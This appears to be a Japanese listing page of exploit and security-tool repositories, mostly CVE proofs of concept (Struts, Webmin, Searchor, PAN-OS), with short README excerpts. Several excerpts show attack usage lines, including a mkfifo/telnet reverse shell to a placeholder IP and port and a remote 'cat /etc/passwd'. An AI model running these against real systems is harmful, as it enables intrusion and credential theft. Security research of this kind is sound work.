cve-2014-0050

cve-2014-0050 CVE-2014-0050 脆弱なサイトのサンプル このプロジェクトは、教育目的でCVE-2014-0050の悪用を実演することを目的としています。 詳細については、以下を参照してください： https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2014-0050--Exploit-with-Boundaries,-Loops-without-Boundaries/...

FLAWED

F ix L ike A rtifacts w ith E mbedded D efects AIエージェントが脆弱性をどれだけうまく修正できるかを測定するための研究ハーネス。 クイックスタート · データセット · ドキュメント · セキュリティモデル · コントリビューション FLAWEDは、既知の脆弱なコミット時点でオープンソースプロジェクトをチェックアウトし、AIエージェントにバグの説明を渡してパッチを書くよう依頼します。エージェントが実際のアップストリームの修正を目にすることはありません。...

GitMiner3

作者: UnkL4b サイト: bravul.com ブログ: unkl4b.github.io Github: UnkL4b X: @UnkL4b 警告 root@kitploit: +---------------------------------------------------+ | DEVELOPERS ASSUME NO LIABILITY AND ARE NOT | | RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY | | THIS PROGRAM |...

pastokrapacefleciks

pastokrapacefleciks、WireShark - PRO アナライザー 使用方法: .pcapng ファイルを pastokrapacefleciks のディレクトリに置いてください。 root@kitploit: python .\pastokrapacefleciks.py python3 .\pastokrapacefleciks.py HTML レポートを確認してください。...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC 安全でない eval の使用による Searchor --test 任意のコマンドを実行 ターゲットサーバー上で任意のコマンドを実行します: root@kitploit: python3 CVE-2023-43364.py -a "whoami" 例: root@kitploit: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPressプラグイン RCE system'cat /etc/passwd' ✅ ステップ2 – Python HTTPサーバーを起動 Pythonを使用してペイロードを提供します： root@kitploit: python3 -m http.server 8000 これにより、payload.txtが次のURLでアクセス可能になります：...

sound4-directory-listing

バッジ ライセンス MIT インストール...

CVE-2018-6961

CVE-2018-6961 - 認証不要のコマンドインジェクションの脆弱性 このエクスプロイトはPython2.7で動作します - 他のバージョンではテストされていません 1 依存関係のインストール root@kitploit: pip install request pipがインストールされていない場合は、以下を実行 root@kitploit: apt-get install python-pip 2 使用方法 root@kitploit: python exployt.py --rhost --interface --lhost --lport --function...

CVE-2004-1561

CVE-2004-1561 CVE-2004-1561 用の Metasploit エクスプロイトの Python バージョン...

Apache-Struts

Apache-Struts Apache Struts CVE-2017-5638 のエクスプロイト 使用方法 単一のURLをテストする。 python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Nmap 偵察 nmap -p --script http-vuln-cve2017-5638 ' URLのリストをテストする。 python struts-pwn.py --list 'urls.txt' -c 'id' 単一のURLに対して脆弱性が存在するか確認する。 pyth...

CVE-2025-58434-PoC

CVE-2025-58434 の PoC POST /api/v1/account/forgot-password をトリガーする Python の PoC スクリプトです。 ⚠️ 教育目的および許可されたセキュリティ研究のみを対象としています。 自分が所有していない、または書面によるテスト許可がないシステムに対してこのツールを実行することは違法です。 クレジット zaddy6 Isaac David arthurgervais Arthur Gervais 詳細 CVE-2025-58434 の PoC 参照:...

CVE-2019-7609-KibanaRCE

CVE-2019-7609-KibanaRCE Se realizaron cambios menores al CVE para hacerlo compatible con Python 3. cve-modific.py Aquí están las modificaciones: En la función getkibanaversion, la línea match = re.findallpattern, r.content se actualizó a match = re.findallpattern, r.text. Este cambio se realizó...

mcpshield

mcpshield 未パッチのMCP STDIOコマンドインジェクション脆弱性（CVE-2026-30623ファミリー、2026年4月にOX Securityによって「仕様」として開示、SDKパッチはなし）に対するドロップイン修正です。1行インポートするだけで、Pythonアプリが起動するすべてのstdio MCPサーバーは、OSがプロセスを生成する前にコマンド/引数/環境変数が検証されます。 初めての方は、まずスコープを読み、次にインストールとはじめにを読めば、2分以内に保護されます。 目次 プロジェクトの状態 スコープ インストール はじめに オプションA: 自動パッチ（Python...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 POC は Rust と Python で書かれています...

CVE-2019-15107-Exploit

CVE-2019-15107 Python エクスプロイト このエクスプロイトは CVE-2019-15107 Webmin 1.890-1.920 を対象とした 認証不要の RCE であり、Python で実装されています。 使用方法 root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

Bluepop

Bluepop CVE-2023-45866 インストールと使用方法 🛠️ セットアップ root@kitploit: sudo apt-get update sudo apt-get -y upgrade sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \ git gcc python3-pip python3-setuptools \ python3-pydbus git clone https://github.com/pybluez/pybluez.git cd pybluez sudo python3...

CVE-2026-19650-CVE-2026-19478

cve-id 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトの維持をサポートしてください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...

CVE-2007-2447_python

CVE-2007-2447python HTBで使用したエクスプロイト...

Global-Protect_VPN_Vuln

CVE-2024-3400 このプログラムは、スクリプトが無期限に実行され続ける原因となるケースを捕捉する安全機能を追加して改良されました。 ベーススクリプトは retkoussa によって作成され、こちら で参照されています。 以前のスクリプトの問題点:- ターゲットサーバーによって接続がリセットされるとスクリプトが失敗する -- エラーが発生します。 変更点:- TRY/EXCEPT ブロックを挿入しました。 使用方法? この脆弱性について多くのサーバーをテストする場合 -- それらはおそらく PAN-OS をベースとして Global-Protect VPN を使用して認証していま...

CVE-2026-5426

CVE-2026-5426 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd 使用例: root@kitploit: Test a single target for vulnerability python cve-2026-5426.py -t https://example.com Scan multiple targets from a file python...